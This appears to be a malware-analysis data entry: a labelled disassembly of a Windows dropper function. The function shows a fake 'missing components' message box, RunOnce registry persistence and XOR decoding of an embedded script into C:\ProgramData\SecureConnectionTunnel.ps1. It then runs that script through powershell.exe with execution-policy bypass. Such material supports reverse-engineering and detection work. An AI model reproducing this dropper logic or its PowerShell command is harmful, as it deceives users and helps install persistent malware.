Function at 0x140008170
Capabilities:
Create process on windows
Encode data using xor
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6c0]
sub rsp, 0x7c0
mov rax, qword [0x1400670c0]
xor rax, rsp
mov qword [rbp + 0x6b0], rax
xor r14d, r14d
mov dword [rsp + 0x34], r14d
call fcn.140008b70
mov rcx, rax
call fcn.140009050
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1400081e0
mov rdx, rcx
lea rcx, [rbp + 0x130]
call fcn.140003720
nop
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rcx, qword [rbp + 0x130]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4Full
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400082be
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14000828e
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008289
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008aa1
call fcn.14000aaf0
mov rcx, qword [rbp + 0x6b0]
xor rcx, rsp
call fcn.14000aad0
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r9d, 0x40
lea r8, str.Microsoft_Components_Missing
lea rdx, str.Your_computer_is_missing_some_components._Keep_working__but_expect_computer_restart_when_components_are_installed._Do_NOT_restart_computer_manually._Just_click_YES_on_next_prompt_to_allow_it.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r9, str.mutexCOMPONENTS
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rsi, rax
test rax, rax
je 0x14000824d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140008317
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008a1e
mov r8d, 0x104
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r15d, 2
mov r9d, r15d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400083a9
lea rcx, [rbp + 0x290]
mov rax, rbx
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x140008363
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyProgram
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp]
call fcn.14002bd30
lea rcx, [rbp]
call fcn.140008f50
nop
lea rcx, [rbp]
call fcn.140008e50
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x10], 6
jne 0x14000844f
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 0x10]
call fcn.140006220
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov rax, rcx
mov dword [rbp + rcx - 4], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0xb0], rbx
lea rcx, [rbp + 0xb0]
call fcn.14000a074
nop
jmp 0x14000824d
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x180]
call fcn.14002bd30
lea rax, [0x14004ce60]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov dword [rbp + 0x240], r14d
mov qword [rbp + 0x248], r14
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmmword [rbp + 0x270], xmm0
mov byte [rbp + 0x280], 0
mov dword [rsp + 0x34], 1
lea r13, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x228], r13
mov dword [rbp + 0x224], 0x98
xor r8d, r8d
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x228]
call fcn.1400033f0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x180], r12
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x17c], edx
lea rcx, [rbp + 0x188]
call fcn.140007620
nop
mov edi, 6
cmp qword [rbp + 0x208], 0
jne 0x1400085ef
lea r8d, [rdi + 0x3a]
mov edx, r15d
lea rcx, str.C:_ProgramData_SecureConnectionTunnel.ps1
call fcn.14000a4cc
test rax, rax
je 0x1400085ef
lea r8d, [rdi - 5]
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140007070
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x40], rcx
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
lea rcx, [rsp + 0x38]
call fcn.140007880
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140006f00
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400085bc
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400085bc
mov r8, qword [rax]
lea edx, [rdi - 5]
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov eax, 4
cmp qword [rbp + rcx + 0x1c8], 0
cmovne eax, r14d
mov dword [rbp + rcx + 0x190], eax
test dword [rbp + rcx + 0x194], eax
jne 0x140008a68
jmp 0x140008629
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov eax, edi
cmp qword [rbp + rcx + 0x1c8], 0
cmovne eax, r15d
or eax, dword [rbp + rcx + 0x190]
and eax, 0x17
mov dword [rbp + rcx + 0x190], eax
mov edx, dword [rbp + rcx + 0x194]
and edx, eax
jne 0x140008aa7
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
mov r8d, 5
lea rdx, str._auto
lea rcx, [rbp + 0x150]
call fcn.140003720
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140008c40
mov r9, rax
cmp byte [rax + 0x428], 0
je 0x1400086ef
lea rdx, [rax + 1]
mov r8, rbx
sub r8, rax
movabs r10, 0x991135b13b4b4b1b
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x428
jb 0x1400086b0
mov byte [r9 + 0x428], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
inc rbx
cmp byte [r9 + rbx], 0
jne 0x140008700
mov r8, rbx
mov rdx, r9
lea rcx, [rsp + 0x38]
call fcn.140003720
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14000875b
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008756
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008aff
call fcn.14000aaf0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp + 0x120], xmm1
lea rdx, [rbp + 0x110]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x180]
call fcn.140003cf0
mov rcx, rax
call fcn.140003690
lea rcx, [rbp + 0x188]
call fcn.140007170
test rax, rax
jne 0x1400087f7
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x1c8], 0
cmovne edi, r15d
or edi, dword [rbp + rcx + 0x190]
and edi, 0x17
mov dword [rbp + rcx + 0x190], edi
mov eax, dword [rbp + rcx + 0x194]
and eax, edi
jne 0x140008b05
mov r8d, 0x104
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x70], 0x70
lea rax, str.powershell.exe
mov qword [rbp - 0x58], rax
lea rax, str._NoProfile__eXeC_byPasS__File_C:ProgramDataSecureConnectionTunnel.ps1
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x40], r14d
mov dword [rbp - 0x6c], 0x40
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000887c
mov edx, 0xffffffff
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008898
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_start_download_for_components.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400088e3
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b57
call fcn.14000aaf0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14000893e
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008b5d
call fcn.14000aaf0
nop
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x180], r12
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x17c], edx
lea rcx, [rbp + 0x188]
call fcn.140006220
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x180], r13
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x17c], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x228]
call fcn.14000a074
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 0x10]
call fcn.140006220
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 4], edx
mov qword [rbp + 0xb0], rbx
lea rcx, [rbp + 0xb0]
call fcn.14000a074
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140008a5b
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a62
call fcn.14000aaf0
xor eax, eax
jmp 0x14000828e
call fcn.140014b3c
nop
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001ed0
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rbp + 0x150]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rbp + 0x150]
call fcn.14000ca8c
nop
call fcn.140014b3c
nop
test dl, 4
je 0x140008ab5
lea rbx, str.ios_base::badbit_set
jmp 0x140008aca
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001ed0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rbp + 0x150]
call fcn.14000ca8c
nop
call fcn.140014b3c
int3
test al, 4
je 0x140008b12
lea rbx, str.ios_base::badbit_set
jmp 0x140008b26
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140001ed0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rsp + 0x58]
call fcn.14000ca8c
nop
call fcn.140014b3c
nop
call fcn.140014b3c
int3